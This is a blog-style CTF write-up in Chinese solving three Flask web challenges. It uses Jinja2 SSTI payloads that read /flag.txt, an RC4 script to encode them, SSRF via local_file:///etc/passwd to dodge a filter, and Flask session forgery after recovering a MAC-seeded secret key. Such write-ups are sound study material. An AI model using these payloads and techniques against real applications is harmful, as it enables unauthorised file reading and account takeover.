题解([RootersCTF2019]I_<3_Flask,[CISCN2019 华东南赛区]Double Secret,[CISCN2019 华东南赛区]Web4)

python

[RootersCTF2019]I_❤️_Flask

1.首先查看网页源码,抓取数据包,发现里面没有可以利用的东西
2.根据题目的名字,加上访问/index.php为404,肯定可以确定为python,但是不知道他的路由和参数

Arjun

3.使用工具Arjun进行参数爆破
命令:python3 arjun -u http://aac8b7e4-008f-486a-9642-232db8c62642.node4.buuoj.cn:81/ -c 100 -d 5
解释:-c :一次发送的参数数  -d:请求之间的延迟(秒),(默认值:0)  
如果不加-d 5可能就会429然后导致爆破不出来,当然,加上延时后速度自然慢的离谱

得到参数为name(注:一般参数都是name,先直接猜就完事了)
4.之后就是ssti注入,好像没有waf

[CISCN2019 华东南赛区]Double Secret

payload

1.根据提示进入\secret页面,传入?secret=1发现有回显
2.传入?secret=abc发现debug报错页面
得到
if(secret==None):
        return 'Tell me your secret.I will encrypt it so others can\'t see'
    rc=rc4_Modified.RC4("HereIsTreasure")   #解密,HereIsTreasure为密钥,脚本要修改
    deS=rc.do_crypt(secret)
    a=render_template_string(safe(deS))
    if 'ciscn' in a.lower():
        return 'flag detected!'
    return a
import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))  
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    print("加密后的字符串是:%s" %quote(cipher))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")
#re4_main函数第一个参数就是密钥
这里好像不能用os
使用{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}
或者是{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/flag.txt','r').read()}}{% endif %}{% endfor %}
进行文件读取
flag在/flag.txt只能多尝试几次试出来了

[CISCN2019 华东南赛区]Web4,ssrf+python的session伪造

思路

1.首先发现一个链接,点击跳转到了百度,直接尝试ssrf

2.尝试file:///etc/passwd发现被过滤了,有点不对劲,尝试/index.php发现404,推测为python,尝试local_file:///etc/passwd成功,尝试读取/flag,被过滤了

3.读取/app/app.py

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)#
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

直接看/flag路由,发现session[‘username’] == 'fuck’时给flag,所以要伪造session,不过我们需要先得到密钥

4.题目给了config[‘SECRET_KEY’]的生成方式

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

uuid.getnode() 用于获取Mac地址并将其转换为10进制整数
则uuid.getnode()确定了,那么random.random()这个伪随机函数的值就确定了

Mac地址值:/sys/class/net/eth0/address
得到d2:67:33:e5:cc:b7

直接使用python2生成

注:根据源码print后不加括号判断原题是Python2环境

​ python3和python2的str保留的位数不一样

rand=231340694162615
random.seed(rand)
print str(random.random()*233)

得到:25.5834247192

flask_session_cookie_manager

5.使用flask_session_cookie_manager伪造session

先解码一下
python3 flask_session_cookie_manager3.py decode -c 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZUix6g.kJJLGvdPJ8ePlzGFTa2CszUK3CI' -s '25.5834247192'
得到
{'username': b'www-data'} 这时我们就知道了它的格式

尝试加密{'username': b'fuck'}
python3 flask_session_cookie_manager3.py encode -t "{'username': b'fuck'}" -s '25.5834247192'
得到
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.ZUjA4g.TDHugXodYeccRQbQmc1SZh9CffA

payload

抓取/flag,并且将session更改为:eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.ZUjA4g.TDHugXodYeccRQbQmc1SZh9CffA

得到flag

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值